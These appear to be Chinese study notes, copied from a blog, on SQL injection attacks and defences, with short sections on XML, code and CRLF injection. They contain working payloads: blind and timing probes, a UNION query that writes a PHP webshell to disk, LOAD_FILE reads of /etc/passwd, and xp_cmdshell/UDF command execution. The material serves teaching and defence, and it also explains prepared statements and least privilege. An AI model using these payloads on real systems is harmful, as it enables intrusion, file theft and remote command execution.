数据与代码未分离
用户能控制数据的输入,代码与数据拼接
SQL 注入
1. 试探 SQL 注入漏洞是否存在——简单盲注
常规 URL:http://www.example.com/test.php?id=2
试探 URL 1:http://www.example.com/test.php?id=2 AND 1=1
试探 URL 2:http://www.example.com/test.php?id=2 AND 2=1
如果 URL 1 返回结果,而 URL 2 查询结果为空,说明存在 SQL 注入
2. Timing Attack——高级盲注
MySQL:BENCHMARK(count, function),SLEEP(5)
PostgreSQL:PG_SLEEP(5),GENERATE_SERIES(1, count)
MS SQL Server:WAITFOR DELAY '0:0:5'
以上函数可以让数据库在执行某条指令的时候延迟一定长度的时间,通过时间长短的变化,可以判断注入语句是否执行成功。
用法举例:1170 UNION SELECT IF(SUBSTRING(current, 1, 1)=CHAR(119), BENCHMARK(5000000, ENCODE('MSG', 'by 5 seconds')), null) FROM (SELECT database() as current) as tb1;
3. 数据库的一些函数可以获取到有用信息
database() —— 当前连接的数据库的名称
system_user() —— 数据库的系统用户
current_user() —— 当前用户(当前已登录数据库,并执行该函数的用户)
last_insert_id() —— 数据库的最近一次插入操作对应的 ID
SELECT ... INTO OUTFILE 'file_path_name' —— 如果当前数据库用户具有写权限,则攻击者可以将信息写入数据库所在主机的磁盘
1170 UNION SELECT "<? system($_REQUEST['cmd']); ?>" ,2,3,4 INTO OUTFILE "/var/www/html/temp/c.php"-- —— 写入一个 webshell
4. 数据库攻击技巧
(1)判断 MySQL 数据库的版本:SUBSTRING(@@version,1,1)=4
(2)判断数据表是否存在,数据项是否存在:UNION ALL SELECT 1,2,3 FROM 数据表;UNION ALL SELECT 1,2,3,passwd FROM 数据表。
。。。。。。
(3)自动化工具:sqlmap.py
(4)LOAD_FILE 读取文件,INTO DUMPFILE 写入文件,LOAD DATA INFILE 将文件中的数据写入数据表:
① ... UNION SELECT 1,1,LOAD_FILE('/etc/passwd'),1,1;
② CREATE TABLE potatoes(line BLOB);
③ UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
④ LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;
【安全建议:最小权限,禁止创建表、禁止数据库用户操作文件的权限】
(5)命令执行(UDF:User Defined Function)
MySQL 5:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回
sys_get,获取一个环境变量
sys_set,创建或修改一个环境变量
MS SQL Server:
xp_cmdshell,执行系统命令。在 SQL Server 2000中默认开启,如果未开启,可以使用 sp_addextendedproc 开启。2005/2008版本中需要 sysadmin 权限使用 sp_configure 开启该功能。
xp_regread,xp_regadmultistring,xp_regdeletekey,xp_regdeletevalue,xp_regenumkeys,xp_regenumvalues,xp_regremovemultistring,xp_regwrite:操作注册表
xp_servicecontrol,允许用户启动、停止服务
xp_availablemedia,允许获得一个目录树
xp_enumdsn,列举服务器上的 ODBC 数据源
xp_loginconfig,获取服务器安全信息
xp_makecab,允许用户在服务器上创建一个压缩文件
xp_ntsec_enumdomains,列举服务器可以进入的域
xp_terminate_process,提供进程的 ID,终止该进程
Oracle:
如果服务器有 Java 环境,在 Oracle 中可以创建 Java 的存储过程执行系统命令
5. 编码问题
字符在编码、转义后可能引发错误编码。解决方法:统一字符编码,如果无法统一,则需要单独实现一个用于过滤或转义的安全函数,在其中考虑字符的肯尼该范围。根据系统所使用的不同字符集来限制用户输入数据的字符允许范围,实现安全过滤。
6. SQL Column Truncation
MySQL 的配置选项中,sl_mode 设置为 default 时,没有开启 STRICT_ALL_TABLES,该配置下 MySQL 对于用户插入的超长值只会提示 warning,而不是 error。这可能引发 SQL Column Truncation 漏洞攻击。
例如,假设有 users 数据表,其中包含 username(varchar(10))、passhash(varchar(20))、权限列表等字段,且该表中已包含一条记录 (admin, adminpasswd) 。
某应用使用如下语句来验证登录:SELECT username FROM users WHERE username = ? AND passhash = ?
使用如下语句来授权访问:SELECT * FROM users WHERE username= ?
如果新建用户 'admin(50个空格)x',密码为 'abc',即插入一条记录:INSERT INTO users(username, passhash) VALUES('admin(50个空格)x', 'abc'),则由于 MySQL 自动截断机制起作用,该操作将成功插入('admin', 'abc'),并且提示 warning。攻击者可以用 ('admin', 'abc') 作凭证登录,然后使用 admin 具有的所有权限和功能。
7. 防御 SQL 注入
找到并修补 SQL 注入漏洞。
(1)必要不充分措施:对用户输入做 escape 处理(mysql_real_escape_string($_GET['parameter'])),mysql_real_escape_string() 只转义了 '、''、\r、\n、NULL、Control-Z 等字符,远远不够。这种基于黑名单的方法防御性能很薄弱,建议使用基于白名单的方法,即指定合法输入的字符格式或数据类型。
例如:
<?php
settype($offset, 'integer');
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
// 或者
$query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;", $offset);
?>
(2)使用预编译语句:【最佳】使用预编译的 SQL 语句,其语义不会发生改变。在 SQL 语句中,变量用 ? 表示,攻击者无法改变 SQL 的结构。
Java 举例:
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();
PHP 举例:
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?, ?, ?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_param("sss", $val1, $val2, $val3);
$val1 = "Stuttgart";
$val2 = "DEU";
$val3 = "Baden-Wuerttembery";
$stmt->execute();
其他语言:
Java EE —— use PreparedStatement() with bind variables
.NET —— use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
PHP —— use PDO with strongly typed parameterized queries using bindParam()
Hibernate —— use createQuery() with bind variables
SQLite —— use sqlite3_prepare() to create a statment object
(3)使用存储过程,需要注意的是对传入存储过程的参数做好校验。
(4)使用安全的编码函数:比如 ESAPI.encoder().encodeForSQL(<Codec>, <queryParam>)
总之,安全地使用数据库应遵循最小权限原则,避免 Web 应用直接使用 root、dbowner 等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则应该为每个应用分配不同的账户。Web 应用使用的数据库账户不应该有创建自定义函数、操作本地文件的权限。
其他注入
XML 注入
类比 HTML(同属于标准通用标记语言 SGML),在生成 XML 文件内容的时候如果拼接了用户可控的输入数据,并且未对该数据做检验过滤,那么该 XML 脚本存在注入漏洞。
防御方法:对拼接引入的内容做格式化处理,对用户输入的数据中包含的 “语言的保留字符” 做转义。
代码注入
代码注入或命令注入都是因为不妥当地使用一些不安全函数或方法引起的,比如 PHP 中的 eval()函数、system()函数、动态 include 方法,Java 中的 engine.eval(),JSP 的动态 include 方法,C 语言中的 system()函数等。
防御方法:禁用或谨慎使用 eval()、system()等可以执行命令的函数,在 PHP、JSP 中避免动态 include 远程文件。
CRLF(Carriage Return Line Feed,\r\n,回车换行)注入
CRLF 注入存在的原因是 “\r\n” 被用作不同语义之间的分隔符,当在特定的位置插入“\r\n” 的时候将引起语义的改变。
典型例子:Http Response Splitting。在 HTTP 协议中,HTTP 头是通过 “\r\n” 来分隔的。如果服务器端没有对用户输入的数据中可能包含的 “\r\n” 做过滤,而直接存放在 HTTP 头中,这可能改变 HTTP 头的结构,进而导致攻击者发起一次成功的访问,甚至在中间注入恶意内容。注:两次 “\r\n” 意味着 HTTP 头的结束。
来源:https://www.cnblogs.com/shilxfly/p/6844444.html